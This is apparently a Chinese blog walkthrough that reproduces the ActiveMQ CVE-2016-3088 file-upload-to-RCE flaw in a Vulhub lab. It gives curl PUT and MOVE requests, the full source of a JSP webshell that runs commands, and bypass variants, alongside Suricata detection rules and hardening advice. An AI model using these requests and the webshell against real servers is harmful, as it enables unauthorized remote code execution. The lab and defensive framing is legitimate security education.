ActiveMQ CVE-2016-3088漏洞复现与深度分析:从文件上传到RCE
1. 项目概述一次从靶场到实战的ActiveMQ漏洞深度剖析最近在整理内部安全演练的素材又翻出了ActiveMQ那个经典的CVE-2016-3088漏洞。这个漏洞虽然年头不短但因其危害性高、利用方式直接至今仍是许多企业安全测试和红队评估中的“常客”。我这次选择在Lingjing灵境靶场环境中结合Vulhub的现成漏洞环境进行复现不仅仅是为了完成一次简单的漏洞验证更是想深入拆解一下这个漏洞的成因、利用链的构建以及在实际渗透测试中可能遇到的“坑”和绕过思路。对于安全从业者来说理解一个漏洞绝不能停留在“运行一个EXP脚本拿到shell”的层面背后的原理、中间件的配置、流量特征以及防御绕过才是真正有价值的部分。这篇文章我就以一个“踩坑者”和“复盘者”的身份带你完整走一遍这个漏洞的复现与分析之路无论你是刚入门的安全新人还是想温故知新的老手相信都能从中获得一些实操层面的启发。2. 环境搭建与核心思路解析2.1 靶场与漏洞环境选型考量为什么选择Lingjing靶场Vulhub的组合这背后有我自己的几点考虑。首先Lingjing靶场提供了一个干净、隔离的网络实验环境我可以随意配置IP、部署服务而不用担心影响宿主机或其他网络。其次Vulhub是一个集成了大量漏洞环境Docker镜像的项目它的优势在于“开箱即用”。对于CVE-2016-3088Vulhub已经准备好了对应版本的ActiveMQ5.13.0之前版本此处我们使用5.11.1以及其依赖环境。这意味着我不需要去官网寻找历史版本、手动解决复杂的Java依赖和配置问题极大地提升了复现效率能把精力集中在漏洞分析本身。这个漏洞的核心在于ActiveMQ的Fileserver功能。ActiveMQ默认开启了一个基于HTTP的文件服务器用于管理消息队列中的文件传输。问题出在这个Fileserver对用户上传的文件路径校验不严。攻击者可以通过HTTP PUT方法将任意文件例如一个恶意的JSP Webshell上传到Fileserver的可访问目录下。更致命的是在ActiveMQ 5.x的某些配置下Fileserver的目录可能位于Web管理页面的根路径下或者通过其他方式能够被访问到从而导致上传的恶意文件被远程执行。注意并非所有ActiveMQ版本和配置都会触发此漏洞。关键条件是Fileserver功能启用默认开启且存在可写、可执行的Web路径。我们的复现环境正是模拟了这种危险配置。2.2 靶场网络拓扑与工具准备在Lingjing靶场中我规划了一个简单的双机环境。攻击机是一台安装了Kali Linux的虚拟机IP为192.168.1.10。目标机则运行Vulhub提供的ActiveMQ 5.11.1漏洞环境IP为192.168.1.20。你需要确保两台机器之间网络互通。攻击机上需要准备的工具主要有Nmap用于端口扫描和服务发现。浏览器用于访问ActiveMQ管理界面。Burp Suite或cURL用于拦截和构造HTTP请求特别是PUT请求。MSFvenom或手工JSP马用于生成Webshell。AntSword蚁剑或中国菜刀用于连接和管理Webshell。这里我倾向于使用cURL和手工编写简单的JSP文件进行演示因为这样更能理解HTTP协议层面的交互细节。Metasploit框架虽然有一键化利用模块但不利于学习原理。3. 漏洞复现过程全记录3.1 信息收集与目标确认第一步永远是信息收集。我们从攻击机对目标IP进行端口扫描。nmap -sV -p- 192.168.1.20扫描结果通常会显示以下几个关键端口61616: ActiveMQ默认的消息传输端口。8161: ActiveMQ的Web管理控制台端口。ActiveMQ服务标识。我们直接访问Web管理界面http://192.168.1.20:8161。默认凭证通常是admin/admin。成功登录后可以确认ActiveMQ版本信息通常在页面底部。这步操作除了确认服务存活也验证了Web应用的可访问性为后续文件上传的路径定位做准备。3.2 探测Fileserver与上传点CVE-2016-3088的利用关键点是Fileserver。默认情况下Fileserver的根路径是/fileserver/。我们可以通过一个简单的PUT请求来测试其是否存在以及是否可写。使用cURL发送一个测试请求尝试在根目录上传一个测试文件curl -X PUT http://192.168.1.20:8161/fileserver/test.txt -d hello vulhub如果服务器返回HTTP/1.1 204 No Content状态码恭喜你说明文件上传成功且Fileserver可写。如果返回405 Method Not Allowed或403 Forbidden则可能Fileserver被禁用或配置了写保护需要进一步寻找其他可写路径。实操心得在实际渗透中遇到直接/fileserver/路径不可写的情况很常见。此时需要尝试其他可能映射到Web根目录的路径。例如尝试PUT到/admin/、/api/等目录下或者利用ActiveMQ的MOVE请求特性这是该漏洞另一个利用点将文件从fileserver移动到可执行目录。我们的Vulhub环境通常配置为最易受攻击的状态所以/fileserver/直接可写。3.3 制作与上传Webshell确认可写后下一步就是上传一个能执行命令的Webshell。这里我们上传一个JSP格式的Webshell。为什么是JSP因为ActiveMQ的Web控制台通常运行在Java Servlet容器如Jetty中JSP文件可以被容器解析执行。我准备一个最简单的JSP Webshell内容如下将其保存为shell.jsp% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %这个脚本通过cmd参数接收系统命令并执行将结果输出到网页。现在我们将其上传到Fileservercurl -X PUT http://192.168.1.20:8161/fileserver/shell.jsp --data-binary shell.jsp再次返回204状态码表示上传成功。此时我们的Webshell文件shell.jsp已经存在于服务器的/fileserver/目录下。但是直接访问http://192.168.1.20:8161/fileserver/shell.jsp?cmdwhoami很可能无法执行因为/fileserver/这个路径通常被配置为静态文件服务不会解析JSP脚本。3.4 关键一步移动文件到可执行目录这是整个利用链最精巧的一环。我们需要把位于/fileserver/下的shell.jsp移动到可以被解析执行的Web目录例如Web应用的根目录/或/admin/等。ActiveMQ的Fileserver支持HTTP MOVE操作这原本是用于WebDAV的文件管理功能但在这里成了漏洞利用的桥梁。我们使用cURL发送一个MOVE请求将文件移动到Web根目录curl -X MOVE --header Destination: http://192.168.1.20:8161/admin/shell.jsp http://192.168.1.20:8161/fileserver/shell.jsp这个请求的意思是请求服务器将/fileserver/shell.jsp这个资源移动重命名到/admin/shell.jsp的位置。核心原理剖析为什么MOVE请求能成功这是因为ActiveMQ的Fileserver实现中对MOVE操作的目标路径Destination头检查存在缺陷。它可能只检查了目标路径是否在fileserver内部而没有严格校验目标路径是否跳转到了其他更敏感的、可执行脚本的Web应用上下文路径。于是攻击者可以利用这个缺陷将上传的恶意文件“搬运”到能够被JSP/Servlet容器解析的位置。3.5 访问Webshell并执行命令如果上一步的MOVE请求返回204 No Content或201 Created说明移动成功。现在我们可以直接访问移动后的Webshell路径http://192.168.1.20:8161/admin/shell.jsp?cmdwhoami在浏览器中访问该URL如果页面上显示了当前进程的用户例如root或activemq那么恭喜漏洞利用成功你已经获得了目标服务器的命令执行权限。为了更直观地管理我们可以使用蚁剑这类图形化Webshell管理工具。在蚁剑中添加一个数据URL地址就填http://192.168.1.20:8161/admin/shell.jsp连接密码留空因为我们的小马没有设置密码。连接成功后就可以像操作本地文件管理器一样浏览服务器文件、执行终端命令、上传下载文件等。4. 漏洞深度分析与利用链拆解4.1 漏洞根源功能与安全的失衡CVE-2016-3088的本质是一个“不安全的直接对象引用”和“功能滥用”的组合型漏洞。我们来拆解它的三层问题不安全的HTTP方法PUTFileserver默认允许PUT方法上传文件且未对上传文件的类型、内容、路径进行有效过滤和鉴权。任何能访问该服务的用户都可以上传文件。路径穿越与目录校验缺失这是漏洞的关键。Fileserver服务本身可能只是一个静态文件服务但通过MOVE操作攻击者可以指定一个“Destination”头将文件移动到Web服务器的其他虚拟目录。服务端在处理MOVE请求时没有对目标路径进行严格的上下文校验允许跨目录移动文件。Web目录可执行脚本移动的目标目录如/admin/是Web应用的一部分并且该目录下的JSP文件会被Servlet容器执行。这就将“文件上传”升级为了“远程代码执行”。这三层缺陷环环相扣缺一不可。如果PUT请求需要认证漏洞无法利用如果MOVE操作做了严格的路径隔离文件移不出去如果Web目录没有执行权限移过去也是静态文件。但不幸的是在默认配置的旧版本ActiveMQ上这三个条件同时满足了。4.2 利用链的多种变形与绕过在实际测试中直接利用/fileserver-/admin的路径可能因为版本或配置问题失败。这就需要我们掌握一些变通方法尝试其他可写路径除了/fileserver/有时/admin/目录本身可能就允许PUT虽然这不合理但确实存在。可以直接尝试PUT /admin/shell.jsp。尝试其他可执行目录目标不一定是/admin/。可以尝试移动到根目录/即Destination: /shell.jsp或者尝试其他已知的Web路径。利用MOVE的替代方法COPY DELETE有些环境可能禁用了MOVE方法但WebDAV协议同样支持COPY。我们可以先COPY /fileserver/shell.jsp到/admin/shell.jsp然后再DELETE /fileserver/shell.jsp清理痕迹。虽然步骤多一步但原理相通。文件名特性绕过如果服务端对文件后缀做了简单过滤如黑名单.jsp可以尝试使用其他可被解析的后缀如.jspx、.jspf或者利用某些容器解析特性如shell.jsp%20、shell.jsp.末尾加点Windows下可能被去除等。但在Java环境下后缀名映射通常比较严格这种绕过成功率不高更关键的是找到可执行的目录。下表总结了常见的测试路径和方法测试类型请求方法目标URL预期成功响应说明探测FileserverPUThttp://target:8161/fileserver/test.txt204 No Content测试/fileserver目录是否可写探测Admin目录PUThttp://target:8161/admin/test.txt204 No Content直接测试/admin目录是否可写危险配置移动文件MOVEDestination: /admin/shell.jsp204/201将文件从/fileserver移动到/admin复制文件COPYDestination: /admin/shell.jsp204/201复制文件作为移动的替代方案访问WebshellGEThttp://target:8161/admin/shell.jsp?cmdid命令回显验证代码执行4.3 流量特征与安全设备识别作为一名蓝队或安全运维人员了解攻击流量特征至关重要以便在WAF、IDS日志中及时发现威胁。CVE-2016-3088的利用流量有非常明显的特征HTTP PUT请求向/fileserver/路径上传一个文件文件内容可能包含JSP脚本标签如% page、%。HTTP MOVE/COPY请求这是一个相对罕见的HTTP方法。请求头中包含关键的Destination: /admin/shell.jsp字段。这是最强烈的攻击指示器。后续的HTTP GET请求访问/admin/目录下新出现的、非常规的.jsp文件并带有cmd、pwd、whoami等参数。基于这些特征安全规则可以这样编写以Suricata规则为例alert http any any - any any (msg:CVE-2016-3088 ActiveMQ Exploit - MOVE request to admin dir; flow:established,to_server; http.method; content:MOVE; http.uri; content:/fileserver/; http.header; content:Destination:; pcre:/Destination:\s*[^\n]*\/admin\//i; sid:1000001; rev:1;) alert http any any - any any (msg:CVE-2016-3088 ActiveMQ Exploit - PUT JSP to fileserver; flow:established,to_server; http.method; content:PUT; http.uri; content:/fileserver/; content:.jsp; http.client_body; pcre:/%\s*page|%!/i; sid:1000002; rev:1;)5. 防御措施与修复建议复现漏洞是为了更好地防御。针对CVE-2016-3088修复措施是清晰且多层次的立即升级将ActiveMQ升级到5.13.0及以上版本。官方在新版本中修复了此漏洞核心是加强了对Fileserver请求的路径校验。禁用不必要的Fileserver如果业务用不到Fileserver功能最彻底的方法是在conf/jetty.xml配置文件中将其禁用。找到关于fileServer的配置将其注释或删除。强化网络访问控制在防火墙或安全组层面限制对ActiveMQ Web控制台端口默认8161的访问仅允许管理员的IP地址访问。修改默认凭证务必修改admin用户的默认密码使用强密码并遵循最小权限原则。运行时环境降权不要以root身份运行ActiveMQ服务。应该创建一个专用的、低权限的系统用户来运行它这样即使被攻破攻击者获得的权限也有限。部署WAF/IDS规则如前所述部署能够检测异常HTTP方法PUT、MOVE、COPY和可疑路径/fileserver/*.jsp移动到/admin/的安全规则。对于已经无法升级的旧系统一个临时的缓解措施是在conf/jetty.xml中为Fileserver的Context添加更严格的约束例如将其设置为只读。但这属于临时方案升级才是根本。6. 复现过程中的常见问题与排查实录即使按照步骤操作复现过程也可能遇到各种问题。这里记录几个我踩过的坑和解决方法问题1PUT请求返回409 Conflict或403 Forbidden。原因分析目标目录可能已存在同名文件或者服务器配置了严格的写权限限制。对于Vulhub环境也可能是Docker容器内部权限问题。解决方案尝试换一个唯一的文件名例如加上时间戳test_$(date %s).txt。检查目标机ActiveMQ的日志通常在data/activemq.log查看是否有权限错误。在Vulhub环境下可以进入容器内部检查opt/activemq目录的权限。问题2MOVE请求返回400 Bad Request或405 Method Not Allowed。原因分析可能是目标路径不符合规范或者服务器禁用了MOVE方法。也可能是Destination头的格式不对。解决方案确保Destination头的URL是完整的绝对路径包含http://host:port。尝试使用COPY方法替代。检查Jetty容器的配置确认WebDAV相关模块是否启用。问题3Webshell上传并移动成功但访问时返回404或500错误。原因分析404说明文件可能不在目标路径检查MOVE是否真的成功了或者目标路径如/admin/是否正确映射。500错误通常是JSP语法错误或者容器没有JSP解析引擎极少数情况。解决方案使用一个最简单的JSP文件测试例如只包含% out.println(test); %。通过cURL或浏览器开发者工具的网络面板仔细检查MOVE请求和响应。登录ActiveMQ管理后台查看admin目录下是否存在上传的文件。问题4命令执行成功但回显乱码或没有回显。原因分析Webshell的编码问题或者执行命令的输出流处理不当。某些系统命令的输出可能包含特殊字符。解决方案在Webshell中对输出进行URL编码或Base64编码后再返回。或者使用更稳定的Webshell管理工具如蚁剑它们内置了编码处理和稳定的通信通道。整个复现过程从环境搭建到最终拿到shell就像完成一次精密的机械组装。每个步骤都有其原理每个错误都有其根源。理解这些远比单纯运行一个自动化脚本更有价值。在Lingjing靶场这个安全的沙箱里反复练习这些步骤分析每一次请求和响应你收获的将不仅仅是一个漏洞的利用方法而是一套面对未知漏洞时的分析、测试和解决问题的通用思路。安全研究知其然更要知其所以然。

相关新闻

软件供应链安全日报:构建主动防御体系与实战响应指南

软件供应链安全日报:构建主动防御体系与实战响应指南

1. 项目概述:为什么我们需要一份“软件供应链安全日报”?如果你是一名负责企业安全运维的工程师,或者是一名关注开源组件安全的开发者,今天早上打开电脑,你的第一反应是什么?是检查邮箱里有没有新的漏洞通告…

2026/7/4 17:10:08阅读更多 →
基于YOLOv8的番茄叶片病变识别系统设计与实现

基于YOLOv8的番茄叶片病变识别系统设计与实现

1. 项目概述这个基于YOLOv8的番茄叶片病变识别系统是我在毕业设计期间完成的一个实用项目。作为一名计算机视觉方向的毕业生,我选择将深度学习技术应用于农业领域,解决传统病害检测方法效率低下的问题。系统能够自动识别番茄叶片上的多种常见病害&#x…

2026/7/4 17:10:08阅读更多 →
Transformers.js终极指南:如何在浏览器中运行AI模型而无需服务器支持

Transformers.js终极指南:如何在浏览器中运行AI模型而无需服务器支持

Transformers.js终极指南:如何在浏览器中运行AI模型而无需服务器支持 【免费下载链接】transformers.js State-of-the-art Machine Learning for the web. Run 🤗 Transformers directly in your browser, with no need for a server! 项目地址: https…

2026/7/4 17:10:08阅读更多 →
Gemma 4爆火背后:Apache 2.0驱动的端侧多模态AI权力转移

Gemma 4爆火背后:Apache 2.0驱动的端侧多模态AI权力转移

1. Gemma 4 爆火不是偶然:一场被低估的开源权力转移 “Gemma 4 爆火背后:开源 AI 的权力,正在换手”——这句话最近在技术社区刷屏,但很多人只看到标题里的“爆火”,却没读懂后半句里那个沉甸甸的“换手”。我上周在给…

2026/7/4 18:25:17阅读更多 →
从零部署Hermes Agent:构建具备闭环学习能力的AI智能体

从零部署Hermes Agent:构建具备闭环学习能力的AI智能体

🚀 30款热门AI模型一站整合,DeepSeek/GLM/Qwen 随心用,限时 5 折。 👉 点击领海量免费额度 如果你正在寻找一个能真正理解你、能持续学习、能帮你处理复杂任务的 AI 助手,而不是一个只会单次问答的聊天机器人&#…

2026/7/4 18:25:17阅读更多 →
15分钟完全掌握:炉石传说脚本自动化对战终极指南

15分钟完全掌握:炉石传说脚本自动化对战终极指南

15分钟完全掌握:炉石传说脚本自动化对战终极指南 【免费下载链接】Hearthstone-Script Hearthstone script(炉石传说脚本) 项目地址: https://gitcode.com/gh_mirrors/he/Hearthstone-Script 厌倦了炉石传说中重复的点击操作&#xff…

2026/7/4 18:25:17阅读更多 →
Mac视频预览革命:用QLVideo解锁Finder全格式预览能力

Mac视频预览革命:用QLVideo解锁Finder全格式预览能力

Mac视频预览革命:用QLVideo解锁Finder全格式预览能力 【免费下载链接】QuickLookVideo This package allows macOS Finder to display thumbnails, static QuickLook previews, cover art and metadata for most types of video files. 项目地址: https://gitcode…

2026/7/4 18:25:17阅读更多 →
JMS学习二(简单的ActiveMQ实例)

JMS学习二(简单的ActiveMQ实例)

下载安装ActiveMQ服务,下载地址当然可以去官网下载 ActiveMQ ActiveMQ安装很简单,下载解压后到bin目录就有win32 和win64两个目录按照自己的系统进入后就有activemq.bat来启动ActiveMQ服务 一、点对点消息模型实例 1,使用queue作为目的之…

2026/7/4 18:25:17阅读更多 →
XSS漏洞攻防实战:从原理到BeEF攻击与自动化Fuzz测试

XSS漏洞攻防实战:从原理到BeEF攻击与自动化Fuzz测试

1. 项目概述与核心目标最近在跟进一个安全实战项目,核心是围绕XSS(跨站脚本)漏洞的完整攻防链条展开。这个项目标题“c13第8期 xss漏洞原理安装BlueLotus,beef-xss 安装Upload_Auto_Fuzz”看起来像是一个安全培训或实战演练的课程…

2026/7/4 18:20:17阅读更多 →
AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

AI Coding 六个月真实ROI账本:产品经理的血泪教训,研发的冷静忠告

6个月前的2025年12月,Boris Cherny 公开宣布自己卸载了 IDE。一时间,Vibe Coding 成了全行业最热的话题。6个月后,当我们回过头来拉一份真实账本,发现事情远没有"一句话生成一个App"那么浪漫。本文从产品经理和研发两个…

2026/7/4 14:25:39阅读更多 →
审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

审计来了,数据权限全开——审计走了,怎么确保权限全部关掉?

引言:审计结束三个月了,审计员的权限还没关某城商行每年按照监管要求开展至少一次数据安全审计。审计期间,内审部门需要抽样检查各类业务数据——交易流水、客户信息、员工操作日志、权限配置记录。这些数据分布在不同系统中,审计…

2026/7/4 14:57:00阅读更多 →
端到端自动驾驶:从GTC‘26看工程可信落地的核心逻辑

端到端自动驾驶:从GTC‘26看工程可信落地的核心逻辑

1. 项目概述:当算法工程师走进GTC26展厅,看到的不是芯片,而是“端到端”的呼吸节奏“端到端”这三个字,在GTC’26现场出现的频率,高得像NVLink带宽测试时的峰值曲线——它不再是一个论文里的技术路径选项,而…

2026/7/4 0:02:48阅读更多 →
缺牙修复科普:常见义齿类型与选择参考

缺牙修复科普:常见义齿类型与选择参考

缺牙修复科普:常见义齿类型与选择参考牙齿缺失是中老年人群中较为常见的口腔问题,不仅会造成咀嚼不便、进食受影响,长期还可能对营养摄入与日常社交带来困扰。义齿是改善缺牙问题的常用方式,目前市面上的义齿种类较多,…

2026/7/4 0:02:48阅读更多 →
STM32F091RC与LTC6904实现高精度方波信号生成

STM32F091RC与LTC6904实现高精度方波信号生成

1. 项目概述:LTC6904与STM32F091RC的精准方波生成方案在嵌入式系统开发中,精确的时钟信号和定时控制往往是项目成败的关键。LTC6904作为一款低功耗、高精度的可编程振荡器芯片,与STM32F091RC这款ARM Cortex-M0内核微控制器的组合,…

2026/7/4 0:02:48阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/4 1:16:56阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/4 2:33:55阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/4 2:33:55阅读更多 →